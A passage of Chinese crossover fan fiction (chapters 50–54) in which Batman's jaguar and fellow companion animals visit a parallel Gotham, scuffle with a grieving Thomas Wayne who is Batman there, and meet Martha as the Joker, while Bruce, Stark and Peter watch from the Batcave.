锈斑猫和布莱克对视。 锈斑猫自然也会好奇这个世界的托尼是什么情况，布莱克大概是要去看看这边的蝙蝠侠那一大家子人的。 听上去各自目标明确还挺不错，实际上这才是最大的麻烦——它们会分开。 在一个它们都不熟悉的地方，和认识的伙伴分开，那无疑是最愚蠢的决定，哪怕塔塔都能明白这个问题，它没有急着做出行动，而是看着布莱克。 布莱克低头去看这只大胆的水耗子，用眼神让它有话快说。 “嘤嗯嗯？”塔塔提议：不然我们一起行动，然后挨个去看一遍？ 这是现在的最优解。 锈斑猫和布莱克也是这个想法。 不过，该先去找谁的孵化者？ 锈斑猫抬头看着远处的灯火处。 “喵。”先看看我们在哪里，由近至远吧。 这很公平。 于是它们开始往城市的方向走，决定先找个地方看看它们具体在哪。 水獭的爪子不适合长时间在地上行走，土地也就算了，人类的水泥地对塔塔来说，是真的太硬了一些，而锈斑猫小小一只，爪短是个致命伤，为了保证行进速度，它们爬上布莱克的后背，由大猫猫驮着，沿公路边上的草丛快速前进。 十几分钟后，它们路过一处林子。 这里的植被更加茂盛，布莱克不由得减缓脚步。 小跑两步后布莱克完全停了下来，它看向林子，视线越过树梢，看到了那座在黑色笼罩下如同恶灵古堡似的建筑。 塔塔在它背后直立起身体去看。 “嘤？”你认识这里吗？ 锈斑猫爬上塔塔的头顶，从更好的角度去观察。 “喵。”这里是不是韦恩庄园？ 布莱克发出一声十分微弱的呜叫，因为心不在焉而显得有些应付，锈斑猫只能听出那大概是个代表肯定的音节。 其实，布莱克是记得这条路的。 它知道继续往下走一小段路就会遇到一个岔道，支走能进入哥谭市的范围，若是走上分支，则能到达韦恩庄园。 布莱克驮着它们继续往韦恩庄园的方向走。 步伐很慢。 路上，布莱克认真嗅着这里的气味。 没有迪克、杰森、提姆、达米安，没有布鲁斯·韦恩，甚至没有阿福。 有一股可怕的死寂盘旋在韦恩庄园的上空。 布莱克能嗅到某人在这里生活的痕迹，但也只有一个人，对方像是个守着死城的恶灵，身上染满血腥和硝烟的味道。 那个味道，布莱克其实有闻到过。 在韦恩庄园常人极少涉足的角落里，存放着一些古老的物品，在柜子里，在抽屉中，在阁楼深处被精心收藏。 因为被保护的足够精细，当布莱克充满好奇的将鼻尖凑上去认真嗅闻，还能从上面嗅到时间的气息，有些更容易保留气味信息的物品，比如窗帘和地毯，就算过了很久很久，依然会因为残留了肉眼不可见的干燥皮屑等人体碎末，从而保留一些可以追寻的痕迹。 那是一种混杂了时间痕迹的，关于死亡的味道。 是已故之人的味道。 在它们的宇宙中已经死去的人，在这个宇宙中依然生存。 那是不是意味着，在它们的宇宙中活着的那些重要的人，它们的孵化者们，在这个宇宙中并不存在？ 布莱克继续往前走。 它足够接近了，这里已经是韦恩庄园的大门。 布莱克认真的嗅了嗅周围的土地、灌木和栅栏，确定这里依然没有任何一只鸟崽子的气味，没有布鲁斯的，也没有阿福的。 锈斑猫也跟着嗅闻，并发现了这个问题。 “喵？”这个人是谁？ 这是它们不认识的味道。 “喵呜。”布莱克说：应该是韦恩庄园曾经的主人。 对布莱克来说事情确实是这样，但在这个宇宙中，因为没有布鲁斯的缘故，那就是这座庄园里唯一的统治者。 布莱克看着韦恩庄园的黑影。 这里，是属于他人的领地，与它的孵化者毫无关系。 那它的孵化者呢？ 是从未诞生，还是早已死去？ 大猫猫不自觉的原地坐下，对着那片黑暗发起楞来。 “喵？”要去么？ 锈斑猫问它。 布莱克没有做出回答。 长时间的静默中，漆黑的韦恩庄园突然亮起了一盏灯。【你现在阅读的是魔蝎小说 moxiexs】 50-60 第51章 韦恩庄园。 韦恩中藏着太多不能被外人知道的秘密,虽然不知道这个平行宇宙是否有相同的情况，布莱克还是决定谨慎一些，它将锈斑猫和塔塔留在庄园的大门口。 它独自一猫潜入漆黑的宅院。 偌大的庄园空荡荡的,灰尘已经占领了大部分角落,只有大门到对方卧室之间的路径还算干净,布莱克低头嗅着脚印上残留的味道。 哥谭的泥土味道, 还有一些血味。 所有的气味已经表明,目前这里只住着一个人。 对方也是一个好战分子, 而且感觉上这人比蝙蝠侠更加疯狂。 那种不计后果的狠厉充满了这栋已经死去的建筑。 这里到底发生了什么？ 布莱克走上二楼, 四下搜索一番，在这里它能嗅出另一个人的味道, 非常淡薄, 这里曾经有一位女主人, 但她已经很久没有回来了。 顺着这个味道，布莱克走到一间房门前。 在布莱克的宇宙中，它的孵化者布鲁斯·韦恩并不是个喜欢翻修宅院的家伙。 布莱克记忆中的韦恩庄园很大程度上维持着曾经的模样,布鲁斯接手的时候是什么样子，到布莱克孵化的时候还是什么样子。 也许是因为这个。 布莱克昂头看着面前的门，陷入回忆。 这扇门和布莱克记忆里的那扇门一模一样。 阿福说过这扇门背后是布鲁斯的童年，这是属于幼年布鲁斯的房间，后来布鲁斯长大一些就换了个房间居住。 房间多的大宅院基本都是如此。 不是一个人一间房，而是一个人的某一段时间住在一间房间里，下一个时间段就会搬去另一间,而之前那间依然属于他，会被尘封起来,等待主人想要回忆往昔的时候，才会再次开启。 又或者某一天这人不再缅怀过去的风景,终于决定将那房间另做他用。 布鲁斯没有走出童年，或者是他忘记了自己的童年。 属于幼年布鲁斯的房间就一直留着。 不过，布莱克知道，走不出过去影子的并不是布鲁斯，那家伙冷心冷情，一心为了哥谭赴死，根本没有闲情逸致去缅怀自己的童年。 放不下的一直是阿福罢了。 而且只要布鲁斯还在继续当蝙蝠侠，就注定了阿福无法放下。 回忆完毕。 布莱克没有往前，反而是侧过头，看向身后正在接近自己的巨大人形黑影，对方手里还抓着一根套索，显然是要逮捕布莱克这只私闯他领地的野兽。 在意识到自己被看到的瞬间，那人猛地向布莱克扑了过来。 他扑出来的时候，身体来到了月光覆盖的区域。 布莱克看到了对方的那身有些老旧的衣服，是韦恩的，布莱克看到过上一代韦恩的画像，在一张有着幼年布鲁斯的画像上，有穿着这套衣服的人，还有一位女士。 布莱克的兽瞳盯着这已经在宅院里躲了太久的人，看到他身体疮痍遍布，以及从灵魂深处透出一种腐败的气息。 他早就不想活了，只是还不能死。 人类手中的套索甩向布莱克。 显然，那人没有意识到布莱克的速度居然会那么快，而且非常了解人类的动态。 几乎是立刻，布莱克扭身躲开了套索。 它知道这东西是卷脖子用的，也知道怎么在面对套索的时候保护自己。 “有人训练过你，对吗？” 那人用肯定的语气在问。 说话的调子，莫名的有点像布鲁斯·韦恩，但声音更沙哑。 不是蝙蝠侠的那种喉癌嗓，而是另一种被岁月磨坏了又养好，反反复复后留下的低沉而破碎的声音。 乍一听会感觉这声音很轻很轻，还有些奇怪的温和，同时又带着刺似的，引起少许危机感，在神经上掠过，引起一阵酥麻。 在这方面，两人也很像。 这人的声音是接近布鲁斯的，或者说，布鲁斯是接近他的。 “哇呜？”你是布鲁斯的父亲吗？ 布莱克问。 可惜，对方听不懂。 不过美洲豹这一声叫的十分温和，没有任何攻击性，这让对方也略有缓和。 这人默默退回月光无法覆盖的黑暗中。 比起布莱克，他更像是只在影子里的狩猎者。 像个野兽。 托马斯·韦恩冷漠的盯着面前这只野兽，它的出现打破了托马斯的全部计划，原本，他在今天，换上这套具有纪念价值的衣服，是为了赴一场约会。 他的敌人。 小丑。 小丑女士。 那是他的妻子，已经疯掉的，妻子。 因为失去了孩子，而失去了对这个世界，这座城市的爱意，精神受损，一路滑落向疯癫深渊的母亲。 没有人可以永远活在过去。 他们失去的孩子也好，他失去的妻子也好。 都将在这一天画上句号。 决绝的狠厉和濒临疯狂的精神让布莱克有些犹豫。 这人看起来需要一些帮助。 可他们之间无法沟通。 “……” 要是食梦貘也在这里就好了，馍馍能解决大部分精神问题，虽然只是简单粗暴的吃掉负面情绪，但也就是因为简单粗暴，所以效果奇佳。 好在人类还是冷静的。 这种冷静也会让布莱克想起布鲁斯。 奇怪。 布莱克短暂的走了个神。 然后拧起眉头。 它拒绝承认自己已经开始想布鲁斯了。 这一瞬间的走神被托马斯捕捉到，他立刻抓住这个机会，手中的套索盘旋后拐着弯往布莱克头上套过来。 布莱克本能的缩脖子躲避，但因为注意力还没回来，冷不丁的还真给他套住了。 “吼——！” 美洲豹发出大型猫科特有的吼声。 是警告，也是攻击的预兆。 托马斯并不畏惧，手上迅速收紧套索，当套索收紧到一定程度，窒息会让这只野兽老实下来，到时候再联系附近的动物园将其送走就是。 让托马斯没想到的是，套索明明收紧了，布莱克却完全没有受到限制。 仔细看套索收紧的程度其实十分有限，明明托马斯已经在用力拉紧，却没能造成需要的效果，绳子似乎被什么东西挡住。 就算如此托马斯也没放松，反而更加用力，硬是扯着布莱克，强行将这匹野兽往自己这边拽过来。 托马斯怀疑那是个项圈，如果这野兽有主人，他就必须考虑另一种可能性，比如这野兽并非误入，而是受到某人的指示，刻意潜入来搞事情的情况。 他必须要弄清楚这到底是怎么回事。 布莱克全力向后。 这人类的力气不比蝙蝠侠小，布莱克前爪顶在地上，后腿弯曲，几乎一屁股坐在地面，浑身都在用力后仰，以此来抵抗对方不断增加的力道。 也就是伴生动物的身体生来强悍。 若是换成一般的动物，别管是美洲豹还是老虎狮子，都免不了被这人一个巧劲扯过去，然后肘击面部或者颈部，直接强制昏迷的命运。 人在赤手空拳还必须正面战斗的前提条件下，很难从大型食肉动物的攻击下存活。 除非，他是蝙蝠侠。 不知为什么，布莱克突然想到这句话。 好像是提姆吐槽的？ 蝙蝠侠…… 难道这个人是此处平行宇宙的……蝙蝠侠？ 他住在韦恩庄园，拥有强大的战斗力和敏锐的思维，基础的道德守则，有能力自保的前提下他甚至不会随意杀死一只闯入自己庄园的野兽。 这一切无不证明这人就是蝙蝠侠。 属于这个宇宙的，和布莱克毫无关系的那个蝙蝠侠。 布莱克一时之间有些难以接受。 如果这个宇宙的蝙蝠侠是布鲁斯的父亲，他看起来至少中年以上了，而这座庄园里却没有布鲁斯的味道…… 布鲁斯没有出生吗？ 还是早就死了？ 明知道事情很可能如此，可当事实放在眼前，布莱克还是感到一丝抗拒。 那种来自于情绪深处，不受理智约束，完全出于本能的抗拒。 它的孵化者，哥谭的黑暗骑士。 怎么可以就这样……不存在？ 趁着布莱克愣神的机会，托马斯成功将这只野兽扯到自己身边，他用体重压着美洲豹的身体，手按着豹子脑袋，不给它翻正过身体的机会，只能一直维持侧躺的状态，这个姿势的野兽攻击力最小，它的爪子和牙都够不到托马斯。 回过神来的布莱克气得对他哈气。 人类哪里会怕这个，膝盖压着大猫的爪子，一手按着大猫的脑袋，均出来的那只手就去翻布莱克脖子上的项圈。 没有标记，没有署名。 而且，这是个监控设备。 托马斯一眼看出问题所在。 他能认出这东西是个监控设备，却不知道如何拆卸，它过于完整，找不到任何接口，明明很有韧性，触感也接近皮革，却无法被割断。 看起来居然有点不像地球科技的产物。 这时候，本来被他按得死死的豹子居然找到了少许活动空间。 猫科动物的特性就是这样，给它一点机会，它肯定能翻天。 眼看就要被美洲豹挣脱，托马斯也不犹豫，掏出麻醉针对着布莱克的身侧扎了下去。 布莱克却也在这一瞬找到了攻击的机会。 美洲豹以更快的速度一口咬住托马斯的手腕部位，并且趁机将托马斯翻到身下去，只是无奈美洲豹的重量对于托马斯来说大概还是有些轻了，布莱克居然按不住他，反而被一脚踹在腹部，整只大猫都给他蹬了出去。 布莱克在空中就调整好了姿势，四只爪子稳稳落地，以对抗的姿态，压着前肩，后腿蓄力，一副随时会扑上来的架势。 托马斯抽空看了一眼自己的手腕。 美洲豹的咬合力非常可怕，可这只豹子只在他手腕上留下了浅浅的擦伤。 第52章 布莱克抖了抖毛。 他们也算是心有灵犀了。 布莱克有机会让人类皮开肉绽,却没有那么做，人类攻击的动作也不过是看起来非常狠，实际上每次下手都有数,并没对豹子造成任何真实伤害。 人和豹子有来有回的过了好几爪子。 结果事后一看,又仿佛什么事情都没发生。 但人类显然没打算放布莱克离开,他有意无意的守着离开的方向,走道另一边的尽头是一间上锁的门,两侧也没有窗户,布莱克等于被他堵住了去路。 最麻烦的还是套索,这东西依然在布莱克脖子上套着，对只有爪子的动物来说特别不友好,哪怕布莱克知道原理,也很难快速的解开它。 人类活动手腕,将绳索绕到自己的右手上，并将针管换到了左手。 他这是打算再试一次。 布莱克盯着这人。 在套索扯紧的瞬间，布莱克顺着那个力道扑了出去。 美洲豹的体型绝对不小,当它打开前爪，以扑击的姿态冲过来，人和豹子之间5米多的安全距离，对布莱克来说，不过是一跃而起就能轻松跨越的小水沟。 布莱克扑过去的速度比托马斯抽紧套索的速度更快。 人类在战斗本能的驱使下立刻换了策略，搏击那样抬手低头，靠手臂护住脖颈和脸部的同时,找准机会抬脚横踢了出去。 但布莱克的速度太快，托马斯没能完全完成侧踢的动作, 他膝盖撞在布莱克的小腹上，大猫身体在本能驱动下快速反应, 它曲起后腿，露出爪子，蹬在托马斯的小腿上。 紧接着就是一双大爪子抱头，血盆大口锁喉，后爪轻易就能将人类脆弱的腹部蹬得皮开肉绽、肠子一地都是。 但布莱克却没有这么做。 它只是用厚实的肉垫紧贴上去，大猫猫的爪子非常灵活，指骨数量不输给人类，就算不露出爪尖，它也能轻松地抱住人类的脖子，像是个拥抱那样，然后靠着体重将人类撞倒。 他们一起在地上滚了半圈，趁着滚动，布莱克活动头部，找到机会摆脱了套索。 在人类再次找到机会逮住它之前，布莱克跑掉了。 托马斯站起身，看着迅速掠过走道的黑影，他很意外自己居然没听到玻璃破碎的声音，那只美洲豹选择走楼梯下楼，然后通过大门离开这栋建筑。 规矩，对人类友善。 虽然佩戴了材料无法确定的监控设备，可它明明潜入了韦恩庄园，还一直在到处嗅闻，却并没有在寻找蝙蝠侠，它无视了去往蝙蝠洞的入口，停在了这里…… 托马斯慢吞吞的将套索卷在自己手上。 他不知道这只野兽来自哪里，但他不打算因此终止今晚的计划。 那太重要了。 若是错过今晚，托马斯不能肯定，自己是否还能再一次的下定决心。 托马斯转身去了蝙蝠洞，布莱克也回到安全位置，和另外两只小动物汇合，锈斑猫正站在树枝上放哨，塔塔在那棵树下抱着肚子小憩。 看到布莱克返回，锈斑猫跳下树枝，问它：“喵？” 布莱克同样轻声喵着告诉锈斑猫：这里的蝙蝠侠不是我的孵化者。 旁听的塔塔突然支棱起来，问：“嘤？”你的孵化者，谁？ 水獭面露迷茫。 布莱克的孵化者不是布鲁斯·韦恩吗？ 锈斑猫陷入沉默。 布莱克也一阵沉默。 它看向锈斑猫，眼神询问：这水耗子还不知道吗？ 锈斑猫沉默的摇了摇头。 关于塔塔的智商以及反射弧的两个问题，对于锈斑猫来说，实在是太沉重了。 锈斑猫选择转移话题，问布莱克：你认识那个人吗？ 布莱克还真的认识，虽然目前为止它没能找到太多直接的证据，可布莱克心里明白，自己的猜测就是真相。 布莱克喵着告诉锈斑猫：在我们的平行宇宙中，那个人，在我孵化之前就已经死了，死在很久很久以前。 托马斯·韦恩。 布莱克想起来了，自己是知道那个人类的名字的。 “喵呜。”他今天穿着盛装，应该是有些特别的事情要做，那衣服看着很旧，我想应该不是什么好事情。 布莱克说了个长句。 锈斑猫看向它。 塔塔也看向它。 “嘤嘤！”你不用说那么多嘛，如果担心的话，我们一起去吧！ “喵。”我们可以陪你先解决这个问题。 正打算分兵的布莱克看着这两只小动物，片刻后，它问它们：“喵呜？”你们不担心自己的孵化者是个什么情况吗？ 塔塔当然担心了，却依然坚持先解决布莱克的问题。 原因很简单——小叽居也会这么做的！ 至于锈斑猫的想法则比较复杂。 “喵。”这边的孵化者是什么情况，其实不太重要，毕竟就算他们还是他们，也是另一个平行宇宙的他们，严格来说不是我们的孵化者，所以早一点看和晚一点看，其实没有多少区别，而且你这里明显有事情要发生，那个人是你的孵化者的长辈，对吧？ 布莱克略微点头。 锈斑猫的逻辑思维和它的孵化者一样强悍，布莱克毫不意外它能猜到事情的真相。 “喵。”我记得，比起你的孵化者，你更在意那个管家，叫做阿尔弗雷德的人类，现在你想管这件事情，是因为这个人，在我们的平行，成为了阿福的遗憾之一，对吧？ 布莱克再次点头。 话说到这里，塔塔也懂了。 它立刻举起自己的小短爪子。 “嘤叽！”既然如此，那就一定要帮他！ “嘤嘤嘤~”至少在这个世界，不要让阿福有遗憾呀！ 于是事情就这么敲定下来。 布莱克记住了那个人的味道，以伴生动物过分敏锐的嗅觉，哪怕托马斯在后面的行动中都穿着蝙蝠装甲，布莱克还是能追到它的行动路径。 就算托马斯驾驶蝙蝠车也没有关系。 布莱克对此早有计划。 这个宇宙的韦恩庄园鲜有来客，加上蝙蝠车不同于普通车辆，它留下的气味信息非常特别，布莱克先是追着尾气的味道摸索，毫不意外的找到了蝙蝠洞的车辆入口。 然后躲在阴影里等待。 没一会，蝙蝠车疾驰而出。 布莱克昂头嗅了嗅。 居然闻到了少许清洗剂的味道。 锈斑猫也闻到了。 两只小动物互相看看，不约而同的意识到，这不是什么自恋或者神经质的行为，而是这个蝙蝠侠可能决定今天就是生命的最后一天了，所以才做了些琐碎的事情。 锈斑猫看过托尼·斯塔克关于战争PTSD的治疗报告，它知道这种特殊表现。 人类紧张的时候，会做琐碎的事情，来帮助自己缓解紧张，并持续集中注意力，这种行为有时候会不自觉的发生，属于人体的自我调控，而有些机构也会训练战士这么做，包括但不限于机械的运动、单纯的削木头、进行无意义的雕刻、清洗键盘等等。 塔塔歪头询问：拔花瓣算吗？ 两只猫科告诉它：不算。 那只是人类的一种自我安慰性质的抽象活动罢了，并不算自我调节的一部分。 塔塔分不清这两者有什么区别，不都是给自己舔毛么？ 嗯…… 想不清楚。 塔塔放弃思考。 洗了车带来的最大好处就是这气味非常特别，和前几天的都不一样，这增加了这条路径的辨识度，布莱克十分顺利的跟上了蝙蝠车。 车被停在一处阴暗荒废的小巷内。 布莱克转了一圈，找到开门的位置，这辆蝙蝠车肯定没录它的肉垫指纹，布莱克无法用常规手段打开它，但布莱克知道蝙蝠车有一个保险措施，可以强行打开车门。 它在门边下方仔细寻找，居然真的找到了。 “喵。”他们父子习惯是一样的呢。 锈斑猫感叹。 出于安全考虑，它们没有现在就使用它，这时候潜入蝙蝠车，除了触发生物探测警报外不会有任何作用。 布莱克昂头看向上方。 接下来有些难办了。 几乎可以肯定的是蝙蝠侠多半是走了房顶。 捷克狼犬可以一口气跳上十来米的平台，布莱克其实也可以。 麻烦的地方在于布莱克不确定自己能否在那样做的同时还能带上锈斑猫和塔塔，锈斑猫其实还好，如果布莱克允许，锈斑猫可以伸出猫爪勾在它的皮肉上，也不会造成太大的伤害，而塔塔…… 无论怎么想，这只水耗子都没办法将自己固定在美洲豹的后背上。 它会在布莱克垂直起跳的时候，直接从大猫猫的后背滚落。 布莱克直接将自己的想法说出来，让塔塔在这里等待，顺便埋伏一下，如果蝙蝠侠驾车离开，塔塔可以想办法跟着，或者趁蝙蝠侠自己开门的时候钻进车里，那样是不会触发生物侦测警报的。 塔塔：…… 塔塔默默抬起自己的小短爪，在一次深呼吸和几秒的酝酿后，忍不住指着旁边直通顶楼的消防梯叫唤起来：“嘤嘤嘤？？！” 走楼梯呀！ 走门呀！ 飞檐走壁确实很帅，但门和楼梯会哭泣的呀！ 布莱克：…… 第53章 它们沿着消防通道上到楼顶,找到托马斯版蝙蝠侠的气味，追着这条线索前进，布莱克在楼顶之间飞跃,很快就改变了线路。 这个方向的话。 它知道那个人要去哪。 布莱克直接驮着锈斑猫和塔塔来到了韦恩塔。 此时蝙蝠侠还没到, 但他的约会对象已经在这里等了。 妆容夸张的小丑女士从阴影中转出来。 …… ………… “查到了吗？” “嗯。” 回话的是蝙蝠侠。 提问的人是斯塔克。 斯塔克站在蝙蝠洞里,他的钢铁装甲就在后面停着,小蓝、小红一左一右的落在上面,叽叽喳喳的唱歌。 捷克狼犬蹲在旁边,昂头看着两只小鸟,似乎在流口水。 它在这里，就意味着杰森肯定也在,只是不知道藏在哪坨阴影里。 提姆正在微调面前的设备,这是个可以跨越平行障碍传递信息的特殊仪器,本质上也是另一个平行宇宙的东西，他们用本地的材料复刻了一份安全版来用，但因为用料的不同,实际操作起来没有原本的那么轻松。 就算有布莱克佩戴的项圈作为锚点，提姆也找了很久，才终于对焦到那个平行宇宙。 同样丢失了自己伴生动物的蜘蛛侠也被破列允许进入蝙蝠洞。 与其放他在外面乱跑，为了找塔塔而闹出乱子，蝙蝠侠认为还是将其放在自己眼皮底下比较安全。 目前还不能确定伴生和孵化者的联系紧密到什么程度，他们还要做好伴生动物去往平行宇宙后自身出现不明变化的预案。 漆黑的蝙蝠洞总能挑逗出年轻人的冒险精神。 彼得却没有到处乱跑，只是在感叹之后老老实实呆在蝙蝠崽子给他安排的地方,随后就目不转睛的盯着屏幕。 上面有许多数据快速闪过。 斯塔克也在看那些数以万计的信息，并从中推测出那个平行宇宙的点点滴滴。 “这个宇宙的时间……和我的信息, 差距很大。” “嗯。” 蝙蝠侠的回应依然吝啬的让人头疼。 不过，这已经很不错了, 换个人可能连个“嗯”都没有。 数据开始聚集，它们被转化成更容易理解的信号，在屏幕上编织出画面。 几张图片被放大，然后依次排开。 可以看到海滩，塔塔，锈斑猫，看起来它们的状态都不错，布莱克偶尔出现一个大尾巴，看那个正常半垂，尾尖略微上卷的模样，可以得知布莱克的情绪平和，身体也没有不适。 它们开始行进。 画面里出现了一些能被辨识的景色。 “那画面里的地方是……哥谭？”彼得试探性的询问。 彼得自己也有秘密身份要保护，此时就突然有种预感，他不会、不会是要撞破蝙蝠侠的秘密身份了吧？ 这让彼得感觉不太好。 他左顾右盼。 “呃、要不要……我先去其他房间？” 虽然很想知道后面塔塔都遇到了什么事情，彼得还是决定退一步。 况且斯塔克先生是知道蝙蝠侠的秘密身份的，完全可以留在这里继续看，将后续变化转播给彼得，经过斯塔克的口述，就能滤掉不方便被他人知道的部分，可以做到在分享情报的同时保护住蝙蝠侠的秘密。 蝙蝠侠略感意外，他偏头看了蜘蛛侠一眼，又看向斯塔克。 “干嘛？”斯塔克嘴角抽搐。 蝙蝠侠这才将视线移到屏幕那边，并对斯塔克说：“他懂事的不像是你带出来的。” “当然不是，他有一个非常好的监护人。”话说到一半，斯塔克突然反应过来，“你是不是在内涵我？” 蝙蝠侠当然不会承认。 见他用沉默表态，斯塔克就让彼得留下，并直白的告诉彼得：“这家伙早就知道你是谁了，你知道一下他是谁，问题也不大。” 何况他们的伴生动物在秘密身份方面是个致命麻烦。 面对随时都会爆发的身份危机，蝙蝠侠的想法依然如初。 ——一颗炸弹，与其等待敌人不知何时的爆破，不如自己亲自引爆它。 之后面对的任何危机，不管是信任问题，还是秘密身份之间的矛盾，那最终也不过是超级英雄之间的内部问题，直白的说，他们这样的人，再怎么互相讨厌、彼此敌对，至少不会拿对方的家人开刀，而反派那些人可就不好说了。 蝙蝠侠随意拆掉自己的头套，他看了彼得一眼，也让彼得看到了自己的侧脸。 “你是布鲁斯·韦恩？！” 彼得失声尖叫。 这怎么可能？ ！ 说布鲁斯·韦恩跟蝙蝠侠买了套制服穿着玩，这可信度都比布鲁斯·韦恩就是蝙蝠侠来的更高些吧？ ！ 蝙蝠侠沉默的看着这货。 彼得呆呆的看着蝙蝠侠脸上属于布鲁斯·韦恩的脸。 旁边的斯塔克忍了忍，还是没忍住，噗嗤一声笑出动静来。 “我就说吧，就算是你当街被反派扒了头套也不用太担心，当场开始演戏就好了，谁会相信布鲁斯·韦恩就是蝙蝠侠？” 虽然，这话，严格来说，是对布鲁斯那精妙绝伦的演技极尽所能的赞美。 但布鲁斯依旧觉得自己拳头发痒。 彼得想了想，扯下自己的头罩。 现在他们都没有秘密身份了，虽然斯塔克说了蝙蝠侠早就知道蜘蛛侠制服下的人是谁，可彼得还是觉得应该坦诚相见，这样的感觉会更好一些。 大概是青少年的行动总是在蝙蝠侠的预计之外，他又看了彼得一眼。 布鲁斯·韦恩的蓝色眼睛一点都不温暖，也无法让人联想到宝石或者蓝天这样美好的东西，它更像是深海，最深的那种海，异样的颜色让人一眼望去，就能立刻明白，下方是养育着巨型怪物的无尽深渊。 彼得识趣的先一步移开视线。 计算机进入下一阶段的分析模式，无数数据开始如浪潮般不断翻涌，三人不约而同的盯着屏幕，在它为他们呈现出实际画面之前，三人就已经从数据中读出了各种信息。 “What……？” 彼得发出一声略带迟疑的动静。 他有些不确定。 刚才是不是自己看错了？ 托马斯·韦恩。 蝙蝠侠。 屏幕上的名字和代号互相对应。 托马斯·韦恩。 在上一个被确认的宇宙中，叫这个名字的是布鲁斯从未诞生的兄长。 而在布鲁斯的印象里，它应当属于自己的父亲。 在布鲁斯的记忆中，父亲是个性格温和的人，考虑到布鲁斯自己塑造的蝙蝠侠那充满攻击性的形象，这让布鲁斯感到困惑，他无法将“蝙蝠侠”和自己的父亲联系到一起。 而且，如果这台仪器没有出现故障。 它的意思是，那个平行宇宙的蝙蝠侠，更具有攻击性。 “……” 布鲁斯沉默的盯着屏幕上的数据。 到底发生了什么？ 这个问题在他脑子里盘旋，他的眼睛紧盯着屏幕，希望能寻找到更多的蛛丝马迹。 可惜，数据没有给他一个答案。 这一波传送的数据到此为止，他们没有更多信息了。 从布莱克调查到的信息来看，唯一可以做的推论就是，当初死在犯罪巷的不是韦恩夫妇，而是那个八岁的布鲁斯。 然后，他的母亲也离开了托马斯，原因不明。 是因为小布鲁斯白白死了，正义根本没能得到伸张……？ 布鲁斯无法确定。 斯塔克和彼得心中肯定也有自己的推论，但这个情况下，谁也不会开口多谈，他们只是沉默着，呆在布鲁斯身旁。 阿福沿着楼梯走下来，端着刚准备好的茶和甜点。 温暖的茶和甜味的点心缓和了蝙蝠洞内的温度，投喂布鲁斯和两名客人后，阿福又将茶点送到鸟崽子们的手中。 杰森没戴红头罩，罗宾鸟的面具足够遮掩他的身份。 在布鲁斯的秘密身份曝光后，他成了这里唯一让彼得摸不着头脑的人。 迪克和达米安的性格都很有特点，非常容易辨认，红罗宾的年纪也能和韦恩的小总裁提姆·德雷克对上。 只剩下这个看起来就很不好惹的青年。 他和韦恩家的任何人都对不上号。 杰森正有一下没一下的抚摸着捷克狼犬的背毛，很快，大红像是感觉到了什么，突然就站了起来。 这纯粹是一种直觉。 孵化者和伴生动物的精神关系紧密。 杰森也感觉到了捷克狼犬的情绪，有些紧张，只是一些而已，都没能触发捷克狼犬的战斗本能，此时捷克狼犬心中环绕着的众多念头中，更多是关于困惑的情绪。 但这已经很不对劲了。 身处蝙蝠洞的内部，这个安全的巢xue里，有什么值得困惑的？ 杰森下意识的蹲下身体，伸手搂住捷克狼犬的脖子，视线在周围扫了一圈。 什么都没有。 杰森一愣，低头看向自己怀中。 被他搂着的捷克狼犬已经失去了踪迹。 前后脚的功夫，斯塔克收到信息，他看了一眼，告诉蝙蝠侠：“多纳滋和帕夫也不见了。” 蝙蝠侠微弱的“嗯”了一声，他低着头，操作护腕上打开的投影，手指飞速敲击虚拟屏幕，应该也是在和某个人互通短信。 斯塔克是知道他在忙什么的，也就不再吭声。 这一会的功夫。 蝙蝠洞内气氛骤然凝固。 斯塔克抬起头看向杰森那边。 杰森盯着蝙蝠侠。 “你知道大红也会被交汇过去却什么都没有跟我说？” 杰森语调平稳，仿佛还带着某种微弱的笑意。 旁边的彼得蜘蛛感应突然炸响。 第54章 捷克狼犬落地后感觉自己摔在了一团柔软的东西上面, 它扭动身体迅速翻身起来，就发现刚才被自己砸中的，居然是黑色美洲豹布莱克。 布莱克在毫无准备的情况下被这只狗突然砸中,猫猫蹲身趴在地上,前爪撑着,盯着大红,一副想要拿这家伙加餐的模样。 大红：…… 大红移开了视线开始观察周围的情况。 就看见有位浓妆艳抹到油漆涂脸的女士把隔壁纽约那只水耗子抱在怀里,有一下没一下的撸着。 一头随意割出来的短发张牙舞爪,也许是染绿后受了损,发丝如杂草一般干枯打卷，脸也没能得到任何爱护,直接涂满苍白的油漆,配上黑灰色烟熏妆,深红色有毒一般的唇，夸张的裂口和订书钉…… 这东西看着像是从什么恐怖故事里走出来的影子。 大红看着对方眼袋处倒皇冠似的妆面。 它猜。 这东西应该还是有理智的。 不然锈斑猫和布莱克也不会放任对方就这么抱着塔塔吸。 “喵。”她叫玛莎。 布莱克向大红介绍。 玛莎·韦恩。 来自凯恩家族，从辈分来说, 这是蝙蝠女侠的姑妈。 蝙蝠女侠…… 大红想了想，蝙蝠女侠好像是蝙蝠侠的表姐……？ 所以，这是蝙蝠侠的……母亲？ ？ ？ 捷克狼犬在韦恩庄园生活的时间有限，对庄园的探索没有布莱克那么彻底，加上杰森也不会谈论爷爷那辈人的事情，所以大红并不知道当初犯罪巷的事。 它只知道布鲁斯的父母早早被害，具体情况就不知道了。 那到底是几十年前的旧事, 既然大家都闭口不谈，那它也不至于没有眼力见的追问。 “喵呜？”布莱克问它：你怎么过来的？ 大红摇头。 它还有点懵。 大红将自己在蝙蝠洞里旁听数据分析的事情说出来,然后几乎是眨一下眼的瞬间，它就失去平衡,啪叽一声摔在布莱克背上。 这其中发生了什么？大红也不清楚。 不过在交汇的前几秒，它确实有一点非常微妙的感应。 “喵？”锈斑猫探头：交汇还在继续吗？ 大红点了点头。 第一次交汇将布莱克、锈斑猫、塔塔三只伴生动物送了过来，第二次交汇会只送过来大红一只吗？ 要去附近找一找不？ 它们商量着。 但是看塔塔那边的情况，并不是能立刻结束的样子，目前看来，塔塔的安抚工作进展得非常顺利，它偷偷对同伴挥了挥爪，示意现在不能中断，突然停下很有可能产生反效果，那可就得不偿失了。 锈斑猫不放心将塔塔单独留在这里，在安抚工作结束之前，它是不会离开的。 要分兵行动吗？ 布莱克与大红对视。 在陌生环境下主动分兵两处肯定是个蠢主意。 何况它们根本无法确定是否还有其他人和伴生动物掉到这边来，还要考虑到如果对方不是伴生动物或者孵化者的情况，到时候如何沟通又会成为新的麻烦。 目前来说，它们中能无视语言障碍的只有塔塔。 而现在无法离开的恰好是塔塔。 这样一看，似乎就没有兵分两路的必要了。 布莱克坐下来开始舔爪子，梳理毛发，大红则绕着周围能走到的范围探索，嗅着味道，并观察周围的景色。 